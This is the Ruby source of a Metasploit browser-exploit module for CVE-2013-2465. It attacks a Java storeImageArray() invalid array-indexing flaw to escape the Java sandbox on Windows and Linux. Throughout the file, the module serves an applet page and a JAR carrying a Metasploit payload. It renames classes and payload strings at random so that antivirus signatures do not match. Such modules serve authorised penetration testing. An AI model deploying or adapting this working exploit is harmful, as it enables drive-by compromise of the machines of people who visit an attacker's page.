require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer:: HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super ( update_info( info,
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability' ,
'Description' => %q{
This module abuses an Invalid Array Indexing Vulnerability on the
static function storeImageArray() function in order to produce a
memory corruption and finally escape the Java Sandbox. The vulnerability
affects Java version 7u21 and earlier. The module , which doesn't bypass
click2play, has been tested successfully on Java 7u21 on Windows and
Linux systems.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Unknown' ,
'sinn3r' ,
'juan vazquez'
],
'References' =>
[
[ 'CVE' , '2013-2465' ],
[ 'OSVDB' , '96269' ],
[ 'EDB' , '27526' ],
],
'Platform' => [ 'java' , 'win' , 'linux' ],
'Payload' => { 'Space' => 20480 , 'BadChars' => '' , 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)' ,
{
'Arch' => ARCH_JAVA ,
'Platform' => 'java'
}
],
[ 'Windows Universal' ,
{
'Arch' => ARCH_X86 ,
'Platform' => 'win'
}
],
[ 'Linux x86' ,
{
'Arch' => ARCH_X86 ,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0 ,
'DisclosureDate' => 'Aug 12 2013'
))
end
def setup
path = File .join(Msf::Config.install_root, "data" , "exploits" , "CVE-2013-2465" , "Exploit.class" )
@exploit_class = File .open(path, "rb" ) {|fd| fd.read(fd.stat.size) }
path = File .join(Msf::Config.install_root, "data" , "exploits" , "CVE-2013-2465" , "Exploit$MyColorModel.class" )
@color_model_class = File .open(path, "rb" ) {|fd| fd.read(fd.stat.size) }
path = File .join(Msf::Config.install_root, "data" , "exploits" , "CVE-2013-2465" , "Exploit$MyColorSpace.class" )
@color_space_class = File .open(path, "rb" ) {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha( "Exploit" .length)
@color_model_class_name = rand_text_alpha( "MyColorModel" .length)
@color_space_class_name = rand_text_alpha( "MyColorSpace" .length)
@exploit_class .gsub!( "Exploit" , @exploit_class_name )
@exploit_class .gsub!( "MyColorModel" , @color_model_class_name )
@exploit_class .gsub!( "MyColorSpace" , @color_space_class_name )
@color_model_class .gsub!( "Exploit" , @exploit_class_name )
@color_model_class .gsub!( "MyColorModel" , @color_model_class_name )
@color_model_class .gsub!( "MyColorSpace" , @color_space_class_name )
@color_space_class .gsub!( "Exploit" , @exploit_class_name )
@color_space_class .gsub!( "MyColorModel" , @color_model_class_name )
@color_space_class .gsub!( "MyColorSpace" , @color_space_class_name )
super
end
def on_request_uri( cli, request )
print_debug( "Requesting: #{request.uri}" )
if request.uri !~ /\.jar$/i
if not request.uri =~ /\/$/
print_status( "Sending redirect..." )
send_redirect(cli, "#{get_resource}/" , '' )
return
end
print_status( "Sending HTML..." )
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
return
end
print_status( "Sending .jar file..." )
send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' })
handler( cli )
end
def generate_html
jar_name = rand_text_alpha( 5 +rand( 3 ))
html = % Q |<html>
<head>
</head>
<body>
<applet archive= "#{jar_name}.jar" code= "#{@exploit_class_name}" width= "1000" height= "1000" >
</applet>
</body>
</html>
|
html = html.gsub(/^\t\t/, '' )
return html
end
def generate_jar(cli)
p = regenerate_payload(cli)
jar = p.encoded_jar
jar.add_file( "#{@exploit_class_name}.class" , @exploit_class )
jar.add_file( "#{@exploit_class_name}$#{@color_model_class_name}.class" , @color_model_class )
jar.add_file( "#{@exploit_class_name}$#{@color_space_class_name}.class" , @color_space_class )
metasploit_str = rand_text_alpha( "metasploit" .length)
payload_str = rand_text_alpha( "payload" .length)
jar.entries. each { |entry|
entry.name.gsub!( "metasploit" , metasploit_str)
entry.name.gsub!( "Payload" , payload_str)
entry.data = entry.data.gsub( "metasploit" , metasploit_str)
entry.data = entry.data.gsub( "Payload" , payload_str)
}
jar.build_manifest
return jar.pack
end
end
|